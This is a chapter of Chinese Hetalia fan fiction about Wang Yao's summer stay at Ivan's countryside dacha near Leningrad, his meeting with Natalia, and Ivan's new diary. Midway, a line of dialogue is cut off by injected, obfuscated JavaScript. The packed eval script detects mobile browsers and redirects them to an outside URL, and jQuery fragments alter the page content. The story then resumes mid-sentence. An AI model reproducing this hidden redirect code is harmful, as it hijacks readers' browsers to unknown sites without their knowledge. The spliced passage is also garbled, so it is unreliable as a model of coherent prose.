6. 第六章

作品:《北城往事[APH]

    如果有什么是所有SL人都想要的,那一定是夏天!还有什么比一天二十小时的阳光浴更令人激动的呢?王耀对这种“极昼现象”还有点不适应,不落的太阳令他情绪疲惫,而伊万们则像一群要去狩猎斑鸠的猎狗兴奋到不行。之所以称呼这个群体为“伊万们”,是因为其中真的包含了伊万。


    虽然不能睡得很好,但王耀总体还是满意的,特别是在他拿到本学期的所有考试成绩之后。“看来我有可能提前毕业,”王耀大大地松了一口气,“也许用不了三年,两年半内我就能完成论文和论文答辩!”


    “你不会是把这个暑假全都计划成学习了吧。”伊万不满地看着每天学习十二个小时的对方,这次他收拾了行李,准备要离校的样子。


    “你这次是要回莫斯科了么?”


    “莫斯科?”伊万露出不可思议的表情,“我才不会把一年两个月的珍贵夏季浪费在拥挤嘈杂的莫斯科呢。我要去乡下的别墅,那可是个好地方。”


    在SL只要是有工作的人,几乎家家在近郊都会有一幢“别墅”,但和欧洲其他地方的“别墅”的概念不同,这更像是消磨假期的乡间小屋。


    “伊万,你是不看报纸么?今年年初芬兰还在和你们交战呢!这里离芬兰不是很远了吧?”


    “战争已经结束啦,而且规模应该不大,你看我们都没有停课。别用你们ZG式的孝道来谴责我,这次是我父母要求的,别墅那边的菜园子也要有个人稍稍打理打理才行啊。”


    “唉,好吧,祝你有一个愉快的暑假,而我呢,要给窗户加一层窗帘,要不然我没法入睡了。”


    “嗨!我说!”伊万跨坐到了自己的行李上,“要不要来我家?我会做饭,比食堂的饭菜好吃的多!”


    “我……”


    “不要拒绝我,你完全可以把书带上!我家的别墅在绿城边,你要知道那是个多美的地方!而且我家的不是Коттеджи,是дачи。”


    Коттеджи王耀在莫斯科周围见过很多,一般都是不大的小木屋,дачи王耀还没注意到过,这个算得上是真正的别墅?不过这个对于生在南京的王耀,算不上是个有吸引力的理由。


    “作为交换,”伊万又想了想,“你可以选一本德语的专业书,我来帮你翻译成俄语?”


    “我不需要把德语翻译成俄语,我需要的是把俄语翻译成中文,伊万同学。”


    “我可以帮助你,特别是俄语,对了,我可以教你俄语。”


    “可我真的没有时间啊!”


    “怎么可能?你以为你还能找到你的导师?他早就跑到乡下去啦,在夏天,你别想在学校里找到一个人,我向你保证。”


    “我真的得留在这里学习。”


    “别拒绝,”伊万突然露出萧瑟的表情,“你一个人在这里,会多孤单啊。”


    “明明就是你自己害怕孤单吧?”王耀笑着弯下腰,“自己不回家,还拖累我。”


    “我有一屋子的书!保证你不虚此行。”


    王耀不知道自己会不会有空消受那一屋子的书,总的来说是盛情难却了。绿城距离列宁格勒有五十多俄里,伊万家的别墅在绿城的另一端,所以到达绿城后,两个人还需要拖着行李转车。经过短暂的休憩,颠簸的旅程还需继续。王耀甚至无心欣赏绿城的风景,直接靠在车窗上睡着了。伊万不大明白为何这个人面对旅行能如此淡然,他却不知道王耀已经走过了太多的地方,旅途就是他最熟悉的生活经历。


    二月的黑夜有多久,现在的白昼就有多长。


    等王耀打着哈欠下车的时候,太阳还挂在正空,要知道,现在已经下午五点了。


    “饿。”


    “放了行李我们就去邻居家吃饭。”


    “咦?”


    “我父亲的好朋友,离我们家十多分钟的路程,我告诉了他们你要来的,走吧,走吧!”


    感觉自己还晕乎乎的王耀,拽着自己的行李,努力跟上伊万的步伐。


    不得不承认,这一片住宅区很美,虽然要隔很远才能看到一幢小楼,但这些蓝色或棕色的小楼都很精致,花园也打理得非常整洁。伊万家的小楼是棕色的,距离车站有半个小时的路途,伴着乡间的微风,旅途的困倦终于逐渐消散了。


    “你看,到了。”伊万指着前面,“啊!娜塔莎!你好!娜塔莎!”


    小院子的门口坐着一位小姑娘,中学生的年龄,有着精致的脸庞和闪闪发光的金发:“哥哥!哥哥!你终于到啦!”


    伊万扔下行李,把扑进他怀里的小姑娘抱了起来:“你多久就来了啊?久等了吧?”


    “您就是哥哥的那位朋友么?”小姑娘搂着伊万的脖子,好奇地看着眼前的外国人。


    “您好,我是王耀,来自ZG。”


    “这是娜塔莉亚·彼得洛夫娜·阿尔洛夫斯卡娅。”


    “这算什么介绍啊!”娜塔莉亚伸出手,“您好,您可以叫我娜塔莉亚,我在列宁格勒音乐学院附中上学,学的是大提琴,您会拉大提琴么?”


    “很抱歉,我不会拉大提琴。”王耀握住了她的手,配合她像成年人那样摇了摇。


    “你这样好奇地盯着对方看会不礼貌的,”伊万笑着拉起娜塔莉亚的手,“你妈妈让你来接我们么?太感谢啦,我爸妈也让我代他们向你们问好呢。来,进来吧,我们还得换件衣服不是?”


    话是这么说,娜塔莉亚还是第一次见到ZG人,她仍旧忍不住偷偷地看了又看,嗯,怎么形容好呢?和高加索人长得不一样,和蒙古人长得也不一样,总的来说是第一次看见,真的太好奇啦。


    “哥哥,我就直接叫他王耀么?他姓什么?我应该称呼他姓吧?”等王耀去放行李后,娜塔莉亚忍不住问伊万。


    “他姓王。”


    “王?”娜塔莉亚难以置信,“就一个音?这么短?”


    “ZG人的名字都很短,他们的姓往往放在名字前面,所以通常称呼全名。”


    “也是,就两个音节,没法再简略了。”娜塔莉亚喃喃自语,“嗯,奇怪的ZG人。他的名字有什么含义么?”


    伊万想了想:“好像是光明的意思。”


    “难以理解,他应该给自己取个俄语名字,阿纳托利啊之类的。”


    “那你去问问他愿不愿意吧,如果他愿意,我可以把我的姓借给他,”伊万哈哈大笑起来,拍了拍娜塔莉亚的头,“不过现在我得去叫他吃饭了,一会儿给你讲我们大学里有趣的事情。”


    晚饭其实是正式的晚宴,阿尔洛夫斯一家盛情款待了他们的两位贵客,晚餐结束后,娜塔莉亚还和伊万合奏了卡尔·尤利耶维奇·达维多夫的《浪漫曲》。娜塔莉亚的父亲也是位机械系的教授,他听说王耀来自斯图加特便尤为的感兴趣。


    “爸爸!爸爸!我要和他说话啦!您的那些没有趣的东西,今后再说啦。”


    作为独生女的娜塔莉亚显然备受宠爱,老彼得只好耸了耸肩,把王耀让给了女儿。王耀好奇这个小姑娘要和他聊什么,没想到她把他拉到了僻静的角落里:“请问,我哥哥在列宁格勒有恋人么?”


    这个问题令王耀大跌眼镜:“你为什么关心这个呢?”


    “啊!不解风情的阿纳托利!你是不解风情还是在装糊涂啊?”娜塔莉亚生气地叉着腰。


    “应该没有吧?”王耀可不愿被扣上“不解风情”的大帽子。


    “那就好!”娜塔莉亚松了一口气,“我注定是要和伊万哥哥结婚的!谁都无法拆散我们!”


    好像没有人想拆散你们,如果伊万要你的话?看着眼前的十五岁小姑娘,王耀强忍住笑。


    “阿纳托利,拜托你!”娜塔莉亚拉着王耀的手,“如果学校里有姑娘爱慕他的话,请一定要写信告诉我!我会把我学校的地址给你的!”


    王耀只好点点头,不过,他有点疑惑:阿纳托利是谁啊?


    回去的路上,王耀半开玩笑地问他:“你有恋人了么?”


    “为何问这个问题?”伊万惊讶地看着王耀。


    “娜塔莉亚太关心了,我虽然没见过你有女伴,不过还是问问比较妥当,也算不负重托。”


    “哦,”伊万表情冷淡,“说起来,你结婚了么?”


    伊万没有见过王耀的戒指,不过东方人结婚好像不一定会戴戒指。


    “我?”王耀指了指自己,“娜塔莉亚也关心我了么?”


    不知为何,这个笑话并没有逗笑伊万,他反而挺严肃地转过头:“不方便回答么?”


    王耀不懂他为何莫名的严肃:“没结婚,怎么了?”


    “你二十六岁了,你的恋人不着急么?”


    “我没有恋人!”王耀不知为何陷入了一场审问。


    “你没有恋人?”


    “我没有恋人!”


    “你确定?”伊万跨了一步,堵在了王耀面前。


    “我确定。”


    “在DG没有,在ZG也没有?”


    “在DG没有,在ZG没有,在SL也没有,伊万同志。”


    “太奇怪了!”伊万抄起手抱在胸前。


    “这有什么奇怪的啊?”


    “你竟然没有恋人。”


    “你不也没有恋人么?”王耀摊开手,看着凝固在伊万脸上的小表情。


    “看着我的眼睛。”


    “干嘛?”


    “我要用布尔什维克的意志和智慧洞穿你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099166|163760||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的谎言。”


    然而,伊万却在对视中落败了。


    当然,也什么都没有洞察到。


    在亮堂堂的晚上,伊万看着王耀黑漆漆的眼睛,只是觉得看不透。


    回到了他们的棕色小楼后,王耀把行李从楼上的卧室搬了下来:“我想了想,还是你住在楼上吧,我看书会比较晚,在楼上走来走去会吵到你的。我可以睡在书房么?”


    这的确是一栋大房子,大得让王耀差点想起了他的老家。


    “书房的窗户很大,你又要睡不着了,要不然你睡我姐姐的房间吧。没关系,她几乎没有过来住过。”伊万帮他把东西搬了下来,“已经十一点了,你不睡么?”


    “在车上睡了一下午,现在可以看看书。”书房就在安娅卧室的隔壁,的确比较方便,王耀放好衣服后便把他的书拿了出来,“你也不睡么?”


    伊万没有上楼,跟了过来:“我暂时睡不着。”


    伊万在书房里晃了两圈,搬了张椅子到王耀对面坐了下来。王耀停下笔:“你还要接着洞察我的谎言呐?”


    “没有啊,我只是看着你而已。”


    王耀露出了个你要看就看吧的表情,继续埋头苦读了,伊万看了一会儿终究是觉得没趣儿了,便准备看看堆在桌角的书,可惜找了一会儿,没有一本合他的胃口。他突然冒出了个奇妙的想法,于是拉开抽屉,找到了一本笔记本,将前面几页有字的都撕掉后,摊开来,放在写字台上。


    我要做什么呢?伊万拧开一支钢笔,也许我可以尝试在这几天写写日记,像娜塔莎那样,不过不是为了完成家庭作业,我要把它完全当做个消遣,想到哪里就写到哪里,就这样。


    伊万写下了第一行字:


    今天的天气好得超过了以往所有的夏天,可惜ZG人却在车上整整睡了三个小时!是的,三个小时!所以他现在精力好得像一只猫头鹰!他正把他面前的专业书翻得啪啪响!他真是个奇异的小生物,二十几岁的身体里躲着个七八十岁的灵魂,他的脑子里就塞着连杆啊,齿轮啊,机械制图啊之类的东西。他对绿色的原野没有反应,对蓝色的天空没有反应,对我的小提琴演奏没有反应,他要不就在车上睡觉,要不就和彼得叔叔谈论机器。


    但是我却没有办法在纸上写下“讨厌”这个词。


    伊万的手顿了顿,因为这支钢笔大概有一年没有人用了,如果他还想继续写下去,他就得找到一瓶墨水。不过这不是难事,王耀面前就有一瓶不是么?灌满一支钢笔只需要半分钟,但现在有什么好急的呢?毕竟他又不是ZG人,他有的是时间。于是他慢慢地拧开钢笔,慢慢地打开墨水盖,慢慢地一下一下地吸,但是还是在一分钟之内把墨水灌好了。


    伊万叹了一口气,开始继续:


    刚才我灌了墨水,在此期间,我发出了三次非常大的响声,最大的一次是放墨水瓶的时候,说实话,要是谁这样对我,我在梦中都会被惊醒!可是王耀呢,根本就没有受到影响!连眼皮都没有抬过!可怕的ZG人!啊,天哪,我今天竟然和他对视!还妄图要洞穿什么呢!我真是在白日做梦啦!


    可是他问起我的问题我就老实作答了,还有更可怕的事情!他总能从我脸上察觉到我的心里话!所以我认为他知道我心里一切所想,从樱桃蛋糕到其他一切一切,甚至感情上的事情。但是对于他呢?其实我一无所知,我从他的脸上,他的眼睛里,看不到任何东西,我看不出他有没有恋人,有没有感情,除非他告诉我,否则我真的一无所知。


    可怕的ZG人。我要在此再强调一次。虽然他的黑眼睛异常地美丽。


    伊万写好这句话后,迟疑了片刻,又把它杠掉了。


    “要喝茶么?”


    伊万被突然发话的王耀吓了一跳,他赶紧合上笔记本:“喝啊,怎么了?你不看书了?”


    “可惜好像没有热水,要不你先去洗澡吧,一会儿来喝茶。”


    伊万找了个抽屉,把他的日记锁了起来:“好,我一会儿就来。”


    等伊万回到房间的时候,王耀正拿着一杯热茶站在窗前:“没想到,竟然可以在凌晨一点看日落。”


    伊万接过王耀递过来的热茶,看向窗外,还是那些熟悉的篱笆、鲜花、灌木、草场。偶尔有一两只野鸭飞过低空,很安静,翅膀上有落日的余晖。


    “如果每一天都能这么长该多好啊。”王耀看着伊万的眼睛微微一笑,“我去洗澡了。”


    被留在窗前的伊万抿了一口他的茶,一股陌生的鲜花的味道伴着苦涩混进了喉咙里,于是他走回书桌前,打开抽屉,拿出笔记本,在后面写道:


    “上帝创造此君,莫非是为了给你的心,作伴于那一瞬时光?”[1]